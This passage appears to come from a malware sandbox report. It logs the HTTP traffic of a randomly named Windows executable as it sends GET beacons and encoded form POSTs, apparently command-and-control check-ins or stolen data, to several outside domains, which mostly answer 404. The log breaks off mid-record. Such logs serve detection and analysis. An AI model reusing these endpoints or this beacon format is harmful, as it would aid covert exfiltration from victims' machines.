Dec 3, 2024 14:41:01.169348955 CET	416	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 03 Dec 2024 13:41:01 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Content-Encoding: br Data Raw: 62 65 0d 0a a1 d0 09 00 20 06 ad ab 6f 49 73 1d 8c 90 23 de 5c 6f 21 77 77 36 48 26 d1 6c 4a f0 f2 bd 09 4d 88 22 4d a6 a7 3e 17 0c eb b2 4b 9a 7e 14 ca c9 ed 66 2c 5c 14 4c 50 b4 56 12 da 58 d4 d8 43 b7 f1 38 51 86 60 3d 8b 2c cf 71 6e 26 79 b0 bf ce 27 6d 5d 04 f3 3d 64 5e 46 76 7d 41 c3 3c a3 16 13 c8 19 67 85 3f 71 dd 09 9a df 73 27 68 44 b9 69 8d ae 43 40 4d 59 af b0 d5 42 be d3 13 97 eb 0b 6d 47 fc f5 01 ed 35 56 e1 6e a1 0c 74 d7 d3 9f c6 84 22 3c e9 1d 92 e5 f5 65 b0 75 bd c2 b3 b1 37 31 e2 fd 5c 63 ba c0 0d 30 58 56 36 8d 2b ae ff 11 ab c3 a3 05 ca de a4 70 43 70 04 0d 0a 30 0d 0a 0d 0a Data Ascii: be oIs#\o!ww6H&lJM"M>K~f,\LPVXC8Q`=,qn&y'm]=d^Fv}A<g?qs'hDiC@MYBmG5Vnt"<eu71\c0XV6+pCp0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.6	50050	172.104.18.233	80	5868	C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:41:02.758177042 CET	557	OUT	GET /7hhj/?u6nP_F48=d0CkvoX3wOjxIpsVGuv5CbpRWXdSS5jyTLOcAowQzGd7pP90T+NzeFPfjsupmGVcOHZBRLveV16iOhBmsp+LB4tn4np0Uy/CwiS3uOlrNEAyxbwQ0Bx5UgKfq4kfjh/tx9U3UfI=&F8S0G=ul80rPhxFlR8lH HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Host: www.gravendeel.studio Connection: close User-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; GT-N7100 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Dec 3, 2024 14:41:03.844734907 CET	501	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 03 Dec 2024 13:41:03 GMT Content-Type: text/html; charset=iso-8859-1 Content-Length: 315 Connection: close Vary: Accept-Encoding Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.6	50052	173.236.199.97	80	5868	C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:41:09.982424974 CET	791	OUT	POST /z5bv/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Host: www.kvsj.net Content-Length: 213 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Origin: http://www.kvsj.net Referer: http://www.kvsj.net/z5bv/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; GT-N7100 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 75 36 6e 50 5f 46 34 38 3d 52 74 43 43 35 74 4c 4a 2b 53 31 5a 44 69 37 4e 36 71 7a 37 6e 77 6e 49 74 6b 4b 64 75 51 53 43 6b 32 41 4b 78 42 44 64 78 5a 4a 5a 32 78 36 75 77 4a 2b 46 46 74 33 76 65 74 2b 35 73 35 4d 32 64 4a 57 69 7a 4e 4a 6a 45 59 57 6b 55 63 39 55 43 5a 73 71 30 49 39 2f 36 77 78 38 36 6d 36 68 4d 5a 4b 51 75 6b 67 76 51 52 68 4a 5a 78 37 6e 63 39 36 61 63 51 49 34 62 68 48 55 55 38 4a 38 67 69 75 67 52 61 64 32 39 2b 79 55 43 77 55 53 65 73 6f 42 37 66 4e 78 51 57 78 50 7a 58 34 5a 62 75 65 6f 59 54 4f 58 75 4c 4f 58 74 54 66 66 7a 78 67 63 4e 4d 67 47 76 42 4f 4e 6e 6b 67 52 46 4f 75 66 79 2b 66 36 52 59 45 4f Data Ascii: u6nP_F48=RtCC5tLJ+S1ZDi7N6qz7nwnItkKduQSCk2AKxBDdxZJZ2x6uwJ+FFt3vet+5s5M2dJWizNJjEYWkUc9UCZsq0I9/6wx86m6hMZKQukgvQRhJZx7nc96acQI4bhHUU8J8giugRad29+yUCwUSesoB7fNxQWxPzX4ZbueoYTOXuLOXtTffzxgcNMgGvBONnkgRFOufy+f6RYEO
Dec 3, 2024 14:41:11.114233971 CET	479	IN	HTTP/1.1 404 Not Found Date: Tue, 03 Dec 2024 13:41:10 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.6	50053	173.236.199.97	80	5868	C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:41:12.654444933 CET	815	OUT	POST /z5bv/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Host: www.kvsj.net Content-Length: 237 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Origin: http://www.kvsj.net Referer: http://www.kvsj.net/z5bv/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; GT-N7100 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 75 36 6e 50 5f 46 34 38 3d 52 74 43 43 35 74 4c 4a 2b 53 31 5a 41 43 72 4e 34 4a 62 37 67 51 6e 4a 70 55 4b 64 67 41 53 4f 6b 32 63 4b 78 45 37 4e 79 72 64 5a 32 54 53 75 78 49 2b 46 43 74 33 76 52 4e 2b 32 78 4a 4d 68 64 4a 4b 45 7a 4a 4a 6a 45 62 71 6b 55 59 74 55 46 75 41 74 31 59 39 39 76 67 78 2b 2b 6d 36 68 4d 5a 4b 51 75 6b 30 56 51 51 4a 4a 5a 43 7a 6e 64 5a 4f 64 52 77 49 37 63 68 48 55 44 4d 4a 34 67 69 75 57 52 59 70 4d 39 38 4b 55 43 79 4d 53 65 39 6f 47 30 66 4e 37 55 57 77 38 33 58 56 33 64 38 58 58 59 69 32 75 30 70 71 56 68 46 43 46 76 43 67 2f 66 63 41 45 76 44 57 2f 6e 45 67 37 48 4f 57 66 67 70 54 64 65 73 68 74 4f 4a 54 4a 65 72 57 62 33 6c 70 64 58 79 50 6c 54 4d 6b 35 73 41 3d 3d Data Ascii: u6nP_F48=RtCC5tLJ+S1ZACrN4Jb7gQnJpUKdgASOk2cKxE7NyrdZ2TSuxI+FCt3vRN+2xJMhdJKEzJJjEbqkUYtUFuAt1Y99vgx++m6hMZKQuk0VQQJJZCzndZOdRwI7chHUDMJ4giuWRYpM98KUCyMSe9oG0fN7UWw83XV3d8XXYi2u0pqVhFCFvCg/fcAEvDW/nEg7HOWfgpTdeshtOJTJerWb3lpdXyPlTMk5sA==
Dec 3, 2024 14:41:13.841635942 CET	479	IN	HTTP/1.1 404 Not Found Date: Tue, 03 Dec 2024 13:41:13 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.6	50054	173.236.199.97	80	5868	C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:41:15.328624010 CET	1828	OUT	POST /z5bv/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Host: www.kvsj.net Content-Length: 1249 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Origin: http://www.kvsj.net Referer: http://www.kvsj.net/z5bv/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; GT-N7100 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 75 36 6e 50 5f 46 34 38 3d 52 74 43 43 35 74 4c 4a 2b 53 31 5a 41 43 72 4e 34 4a 62 37 67 51 6e 4a 70 55 4b 64 67 41 53 4f 6b 32 63 4b 78 45 37 4e 79 71 6c 5a 32 43 79 75 77 72 47 46 44 74 33 76 59 74 2b 69 78 4a 4d 38 64 4a 43 41 7a 49 31 73 45 65 6d 6b 53 36 6c 55 45 61 55 74 38 59 39 39 77 51 78 37 36 6d 36 77 4d 5a 62 58 75 6b 6b 56 51 51 4a 4a 5a 45 58 6e 62 4e 36 64 58 77 49 34 62 68 48 51 55 38 4a 51 67 69 32 47 52 59 39 63 39 4e 71 55 43 52 30 53 62 50 77 47 39 66 4e 39 54 57 77 6b 33 58 5a 30 64 34 4f 73 59 69 53 45 30 71 32 56 6b 54 66 62 71 42 55 72 46 4e 34 6c 75 55 6d 59 2f 77 38 35 46 4f 75 41 77 49 57 74 66 64 35 59 41 4a 48 58 58 6f 71 66 31 6e 56 47 63 58 57 4e 54 50 64 51 77 6f 64 42 6d 42 44 79 59 52 35 37 6a 6e 6a 62 51 50 36 62 72 31 45 62 45 45 61 33 4f 57 66 30 62 7a 79 65 6e 41 78 6a 31 45 72 71 74 6e 4f 33 4a 34 74 32 39 79 34 2f 78 56 30 4a 61 74 32 64 71 33 46 79 44 74 72 75 53 50 32 67 4b 64 35 75 69 51 70 39 56 4b 75 58 61 37 6d 79 6e 72 4d 55 5a 42 6d 49 37 45 51 65 54 [TRUNCATED] Data Ascii: u6nP_F48=RtCC5tLJ+S1ZACrN4Jb7gQnJpUKdgASOk2cKxE7NyqlZ2CyuwrGFDt3vYt+ixJM8dJCAzI1sEemkS6lUEaUt8Y99wQx76m6wMZbXukkVQQJJZEXnbN6dXwI4bhHQU8JQgi2GRY9c9NqUCR0SbPwG9fN9TWwk3XZ0d4OsYiSE0q2VkTfbqBUrFN4luUmY/w85FOuAwIWtfd5YAJHXXoqf1nVGcXWNTPdQwodBmBDyYR57jnjbQP6br1EbEEa3OWf0bzyenAxj1ErqtnO3J4t29y4/xV0Jat2dq3FyDtruSP2gKd5uiQp9VKuXa7mynrMUZBmI7EQeTKqDrCBHA7z04jz6jbgnfDH0JDsfLAHFnDAoEn5uieqvyQCl8zbXcOGEdhqV13BqMRqEZOqXwe7zEWmH767Y1KGQV5LW763f4yeb8Qnn0Vcm4SbeuCYpv4A4P9hHxwgtwFzHZbz/QhRIin+pC4o4oD7Pssi30/YFS0j+zK/iM1GR1XdaZsjsFcqJeHMMlQ4r+E92bQ/KQK3rQGxuNhu76kgS//zR1A60MyG5jCkQQInVP7w6iE7/CzpWrgx+nIcbYZxZYGRYFTpfYD9e8wAQBAnmfigspfha1f93y4X3DTwSrrgNdveMOdsXwwlbbRf1caXIoi1F4HfpIaBmh7ZlNPjx5alcYvKaqSRV5ZJVDTB7xImOEJ4mHn/uEoJ9TSqndulVS9epxkNNWRTaalR/WDhN/gfZF7ZhM1dM3ZnTDwwAkHKWKdme4dZZdleF0Gq+x3F3vHRDknXSuhBKyfAhEZejCvLK57oyewNezXBAuTyxpDcAveY7WOxOrcA2YAq0Hee0O16AG9HFfx4iVCNDf9lQKO1R5ovfv1XAPkJyFETnJYRzjpFAoKoEnInNTqbrl9wDiLDLzlPJacLMJTU43s6sOaf2RR0tCCZQqm2pSpEuQJyt4pY2P4zN9a+5YLkSNNPI2USa9wlwqhT9h6oYYdO26raqvFgcWhI [TRUNCATED]
Dec 3, 2024 14:41:16.415549994 CET	479	IN	HTTP/1.1 404 Not Found Date: Tue, 03 Dec 2024 13:41:16 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.6	50055	173.236.199.97	80	5868	C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:41:17.994131088 CET	548	OUT	GET /z5bv/?u6nP_F48=cvqi6aS93HIxTV+im7Da9wWvrF3f6kX831gUtjTv5ZY+kxOTwbTgT7fbXvvVwY5eJbST1YhYPLKkRqd0ELEj3LZc91hb0mGUNuPi7mwbOhhaZQnJVaKvflcbWzyST/JxwAq3b9E=&F8S0G=ul80rPhxFlR8lH HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Host: www.kvsj.net Connection: close User-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; GT-N7100 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Dec 3, 2024 14:41:19.131710052 CET	479	IN	HTTP/1.1 404 Not Found Date: Tue, 03 Dec 2024 13:41:18 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.6	50056	85.159.66.93	80	5868	C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:41:25.386986017 CET	812	OUT	POST /8l49/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Host: www.beythome.online Content-Length: 213 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Origin: http://www.beythome.online Referer: http://www.beythome.online/8l49/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; GT-N7100 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 75 36 6e 50 5f 46 34 38 3d 71 74 30 37 38 41 7a 37 49 72 38 39 39 72 6d 54 39 64 63 32 33 76 47 33 56 55 6e 78 6a 47 30 74 6a 64 49 47 34 77 79 31 63 6b 77 32 67 69 4a 73 62 75 64 76 4a 56 49 49 53 31 64 73 71 52 79 59 77 33 4d 35 51 65 6d 72 64 52 78 70 52 46 70 4f 30 62 31 57 6f 42 74 75 51 4f 69 55 4f 6e 4e 49 2f 79 79 35 38 31 39 45 51 36 33 4b 53 34 74 73 32 32 4e 31 4b 64 33 52 4d 45 63 46 57 42 36 66 4c 6f 33 43 65 47 79 67 38 75 56 53 33 31 56 34 75 42 59 39 45 6e 38 77 34 39 6a 51 33 79 46 33 68 45 53 42 32 4d 67 46 61 77 47 76 6e 78 6b 39 68 6e 59 30 6f 77 6c 7a 47 6f 61 55 52 57 2b 6a 5a 32 70 6b 4e 61 37 61 38 62 79 67 Data Ascii: u6nP_F48=qt078Az7Ir899rmT9dc23vG3VUnxjG0tjdIG4wy1ckw2giJsbudvJVIIS1dsqRyYw3M5QemrdRxpRFpO0b1WoBtuQOiUOnNI/yy5819EQ63KS4ts22N1Kd3RMEcFWB6fLo3CeGyg8uVS31V4uBY9En8w49jQ3yF3hESB2MgFawGvnxk9hnY0owlzGoaURW+jZ2pkNa7a8byg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.6	50057	85.159.66.93	80	5868	C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:41:28.051297903 CET	836	OUT	POST /8l49/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Host: www.beythome.online Content-Length: 237 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Origin: http://www.beythome.online Referer: http://www.beythome.online/8l49/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; GT-N7100 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 75 36 6e 50 5f 46 34 38 3d 71 74 30 37 38 41 7a 37 49 72 38 39 39 4b 57 54 2f 38 63 32 6d 66 47 30 5a 30 6e 78 32 32 31 71 6a 61 41 47 34 78 6d 6c 63 57 6b 32 6a 48 31 73 4a 38 35 76 46 31 49 49 63 56 64 54 6b 78 79 48 77 33 42 45 51 66 61 72 64 52 6c 70 52 41 74 4f 31 6f 4e 56 71 52 74 73 66 75 69 53 41 48 4e 49 2f 79 79 35 38 31 35 69 51 36 76 4b 53 72 6c 73 73 53 35 79 4a 64 33 57 62 30 63 46 48 52 36 62 4c 6f 33 73 65 48 75 4b 38 73 74 53 33 77 70 34 75 56 30 2b 4f 6e 38 70 6e 74 6a 42 2f 44 39 38 68 43 58 6a 31 74 67 45 45 43 61 66 6d 48 35 6e 39 55 59 58 36 67 46 78 47 71 43 6d 52 32 2b 4a 62 32 52 6b 66 4e 33 39 7a 76 58 44 2f 38 67 56 67 53 7a 38 37 54 6e 78 56 31 47 4b 36 79 69 59 74 51 3d 3d Data Ascii: u6nP_F48=qt078Az7Ir899KWT/8c2mfG0Z0nx221qjaAG4xmlcWk2jH1sJ85vF1IIcVdTkxyHw3BEQfardRlpRAtO1oNVqRtsfuiSAHNI/yy5815iQ6vKSrlssS5yJd3Wb0cFHR6bLo3seHuK8stS3wp4uV0+On8pntjB/D98hCXj1tgEECafmH5n9UYX6gFxGqCmR2+Jb2RkfN39zvXD/8gVgSz87TnxV1GK6yiYtQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.6	50058	85.159.66.93	80	5868	C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:41:30.717328072 CET	1849	OUT	POST /8l49/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Host: www.beythome.online Content-Length: 1249 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Origin: http://www.beythome.online Referer: http://www.beythome.online/8l49/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; GT-N7100 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 75 36 6e 50 5f 46 34 38 3d 71 74 30 37 38 41 7a 37 49 72 38 39 39 4b 57 54 2f 38 63 32 6d 66 47 30 5a 30 6e 78 32 32 31 71 6a 61 41 47 34 78 6d 6c 63 57 38 32 6a 79 35 73 62 4e 35 76 45 31 49 49 55 31 64 6f 6b 78 79 4b 77 33 4a 41 51 66 58 51 64 55 68 70 51 6d 52 4f 38 35 4e 56 6a 52 74 73 61 65 69 58 4f 6e 4e 5a 2f 79 6a 77 38 31 70 69 51 36 76 4b 53 74 42 73 36 57 4e 79 45 39 33 52 4d 45 63 4a 57 42 37 47 4c 6f 66 61 65 48 37 2f 2f 63 4e 53 33 51 5a 34 73 6d 4d 2b 43 6e 38 72 6d 74 69 63 2f 43 41 6b 68 43 6a 46 31 74 55 71 45 43 75 66 6e 67 42 6b 74 6e 